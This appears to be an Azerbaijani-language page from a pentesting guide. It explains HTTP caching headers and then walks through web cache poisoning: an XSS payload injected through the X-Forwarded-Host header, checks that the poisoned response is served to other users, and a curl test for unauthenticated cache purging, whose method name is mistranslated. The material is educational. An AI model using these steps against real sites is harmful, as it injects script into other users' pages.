Cache Poisoning and Cache Deception

Web Cache poisoning

HTTP caching icmalı

Keşləmə müəyyən bir resursun surətini saxlayan və tələb olunduqda onu geri qaytaran bir texnikadır. Veb keşinin mağazasında tələb olunan resurs olduqda, sorğuya müdaxilə edir və başlanğıc serverdən yenidən yükləmək əvəzinə onun surətini qaytarır.

Bu, bir neçə məqsədə nail olur:

  • Server yükünün azaldılması (server bütün müştərilərin özünə xidmət etməli deyil),

  • Performansı yaxşılaşdırın (resursun geri ötürməsi daha az vaxt tələb edir).

Digər tərəfdən, o, düzgün şəkildə konfiqurasiya edilməlidir, çünki bütün resurslar həmişə eyni qalmır: resursu yalnız dəyişənə qədər keş etmək vacibdir, daha çox deyil.

Şəxsi brauzer keşləri

Şəxsi keş bir istifadəçi üçün ayrılmışdır. Brauzer önbelleği istifadəçi tərəfindən HTTP vasitəsilə yüklənmiş bütün sənədləri saxlayır. Bu keş ziyarət edilmiş sənədləri serverə əlavə səfər tələb etmədən geri/irəli naviqasiya, yadda saxlamaq, mənbə kimi baxmaq və s. üçün əlçatan etmək üçün istifadə olunur.

Eləcə də keşlənmiş məzmunun oflayn nəzərdən keçirilməsini yaxşılaşdırır.

Paylaşılan proxy keşləri

Paylaşılan keş birdən çox istifadəçi tərəfindən təkrar istifadə ediləcək cavabları saxlayan bir keşdir. Məsələn, İnternet provayderi və ya şirkətiniz bir çox istifadəçiyə xidmət göstərmək üçün yerli şəbəkə infrastrukturunun bir hissəsi kimi veb proksi qurmuş ola bilər ki, populyar resurslar bir neçə dəfə təkrar istifadə edilsin, şəbəkə trafiki və gecikmə müddəti azalsın.

Keşləmə əməliyyatlarının hədəfləri

Sorğu metodları onlara cavabların gələcəkdə təkrar istifadə üçün saxlanmasına icazə verildiyini göstərmək üçün "keşlənə bilən" kimi müəyyən edilə bilər. RFC7231 spesifikasiyası GET, HEAD və POST-u keşlənən kimi müəyyən edir, baxmayaraq ki, keş tətbiqetmələrinin böyük əksəriyyəti yalnız GET və HEAD-i dəstəkləyir. Əsas keş açarları:

  • Request metodu,

  • Hədəf URI.

Keşləmə girişlərinin ümumi formaları bunlardır:

  • Axtarış sorğusunun uğurlu nəticələri: HTML sənədləri, şəkillər və ya fayllar kimi mənbədən ibarət GET sorğusuna 200 OK cavabı,

  • Daimi yönləndirmələr: 301 Daimi köçürüldü cavabı,

  • Səhv cavabları: 404 Tapılmadı nəticə səhifəsi,

  • Natamam nəticələr: 206 Partial Content response,

  • Keş açarı kimi istifadə üçün uyğun bir şey müəyyən edilərsə, GET-dən başqa cavablar.

Müxtəlif response-lar

Əgər sorğu məzmun danışıqlarının hədəfidirsə, keş girişi, həmçinin ikinci dərəcəli açarla fərqləndirilmiş çoxsaylı saxlanılan cavablardan ibarət ola bilər. Dəyişən HTTP cavab başlığı gələcək sorğu başlıqlarına necə uyğunlaşdırılacağını müəyyən edir ki, keşləşdirilmiş cavab sorğusu yox, istifadə oluna bilərmi? mənşə serverindən təzədir. Keş Vary başlıq sahəsinə malik olan keşlənmiş cavabla təmin edilə bilən sorğu qəbul etdikdə, Vary başlığı tərəfindən təyin olunan bütün başlıq sahələri hər iki orijinalda üst-üstə düşməyincə, o keşlənmiş cavabdan istifadə etməməlidir. (keşlənmiş) sorğu və yeni sorğu.

Keşin idarə olunması

Cache-Control (HTTP/1.1) ümumi başlıq sahəsi həm sorğularda, həm də cavablarda keşləmə mexanizmləri üçün direktivləri müəyyən etmək üçün istifadə olunur. Keşləmə direktivləri biristiqamətlidir, yəni sorğuda verilmiş direktiv eyni direktivin cavabda veriləcəyini nəzərdə tutmur. Pragma (HTTP/1.0) başlığı Keş-nəzarətlə eyni davranır: keş yox, əgər varsa Cache-Control başlıq sahəsi sorğuda buraxılıb. Pragma-dan yalnız HTTP/1.0 müştəriləri ilə geriyə uyğunluq üçün istifadə edin.

No caching

Cache-Control: no-storeThe cache müştəri sorğusu və ya server cavabı haqqında heç nə saxlamamalıdır. Sorğu serverə göndərilir və hər dəfə tam cavab yüklənir.

Cache but revalidate

Cache-Control: no-cacheA keş keşlənmiş nüsxəni buraxmazdan əvvəl yoxlama üçün mənbə serverinə sorğu göndərəcək, baxın: Keşin Təsdiqlənməsi bölməsi.

Public cache

Cache-Control: public direktivi göstərir ki, cavab normal olaraq keş edilə bilməz olsa belə, cavab hər hansı bir keşlə yaddaşda saxlanıla bilər.

Private cache

Cache-Control: privateThe private direktiv cavabın yalnız bir istifadəçi üçün nəzərdə tutulduğunu və paylaşılan keş tərəfindən saxlanılmamalı olduğunu göstərir. Şəxsi brauzer keşi bu halda cavabı saxlaya bilər.

Expiration

Cache-Control: max-age=31536000Maksimum yaş direktivi resursun təzə sayılacağı saniyələrlə maksimum vaxtı təyin edir, bax: Təravət bölməsi.

Validation

Cache-Control: must-revalidateThe must-revalidate direktivi onu göstərir ki, keş ondan istifadə etməzdən əvvəl köhnə resursların vəziyyətini yoxlamalı və vaxtı keçmiş resurslardan istifadə edilməməlidir, baxın: Keş Təsdiqləmə bölməsi.

Keşin yoxlanılması

Keşlənmiş sənədin istifadə müddəti başa çatdıqda, o, ya təsdiqlənir, ya da yenidən götürülür. Doğrulama yalnız server güclü və ya zəif validator təqdim etdikdə baş verə bilər. Təsdiqləmə işə salınır:

  • İstifadəçi yenidən yükləmə düyməsini basarsa,

  • Keşlənmiş cavaba daxildirsə Cache-control: must-revalidate başlığı.

Freshness

Resurs keşdə saxlandıqdan sonra nəzəri olaraq keş tərəfindən əbədi olaraq xidmət göstərə bilər. Keşlər məhdud yaddaşa malikdir, belə ki, elementlər vaxtaşırı yaddaşdan silinir (keşin çıxarılması). HTTP müştəri-server protokolu olduğundan, resurs dəyişdikdə serverlər keşlər və müştərilərlə əlaqə saxlaya bilmir, onlar resurs üçün istifadə müddətini bildirməlidirlər. Bu müddət bitməzdən əvvəl resurs təzədir, istifadə müddəti bitdikdən sonra resurs köhnədir. Evdən çıxarma alqoritmləri tez-tez köhnə resurslar üzərində təzə resurslara üstünlük verir. Təravət müddəti bir neçə başlıq əsasında hesablanır:

  1. Əgər Cache-control: max-age=N başlıq müəyyən edilir, onda freshness müddəti N-ə bərabərdir,

  2. Əks təqdirdə Expires başlıq müəyyən edilir, onda freshness müddəti Expires başlığının dəyərindən Date başlığının dəyərindən çıxılmaqla bərabərdir.

  3. Əks təqdirdə Last-Modified başlıq mövcuddur, onda təzəlik müddəti Date başlığının dəyərindən 10-a bölünən Last-Modified başlığın dəyərinə bərabərdir.

Təhlükəsizlik məsələləri

web cache poisoning məqsədi keşdə saxlanılan və digər istifadəçilərə təqdim edilən zərərli cavaba səbəb olan sorğu göndərməkdir.

İlkin səviyyə cache poisoning

Məsələn, sorğuya nəzər salaq:

GET /en?cb=1 HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: foo

və aşağıdakı cavab:

HTTP/1.1 200 OK
Cache-Control: public, no-cache
...
<meta property="og:image" content="https://foo/img/bar.png" />

Burada X-Forwarded-Host başlığı tətbiq tərəfindən meta teq daxilində Açıq Qrafik URL yaratmaq üçün istifadə edilmişdir. Növbəti addım onun istismar oluna biləcəyini araşdırmaqdır – sadə XSS yükü ilə başlayın:

GET /en?bar=1 HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: foo."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
...
<meta property="og:image" content="https://foo."><script>alert(1)</script>"/>

Bu cavab ona baxan hər kəsə qarşı ixtiyari JavaScript tətbiq edəcək. Cache Control-ə imkan verməyin: no-cache başlıq sizi fikrindən daşındırsın – hər zaman hücuma cəhd etmək onun işləməyəcəyini düşünməkdən daha yaxşıdır.

Son addım bu cavabın digər istifadəçilərə çatdırılması üçün yaddaş yaddaşında saxlanılıb-saxlanmadığını yoxlamaqdır. Bunu əvvəlcə zərərli başlıq olmadan sorğu göndərməklə, sonra isə URL-i birbaşa başqa bir maşındakı brauzerdə əldə etməklə yoxlaya bilərsiniz:

GET /en?bar=1 HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 OK
...
<meta property="og:image" content="https://foo."><script>alert(1)</script>"/>

Doğrulanmamış keşlərin təmizlənməsi

Keşin təmizlənməsi saxlanan keşi silməyə imkan verir. Təmizləmə sorğusu autentifikasiya olmadan əlçatandırsa, siz saxlanılan keşi etibarsız edə, bant genişliyi xərclərini artıra və tətbiqin performansını aşağı sala bilərsiniz. Bunu aşağıdakı curl sorğusu ilə yoxlaya bilərsiniz:$ curl -X TƏMİZLƏMƏ https://vulnerable-website.com/Bu resurs həssas olduqda aşağıdakı kimi cavabı görəcəksiniz:{"status": "ok","id": "4234-1234567890-123123"}Əks halda cavabda xəta olacaq:{"msg": "Etibarnamələr çatışmır və ya etibarsız"}İstinadlar:​

PreviousParameter PollutionNextCaptcha Bypass

Last updated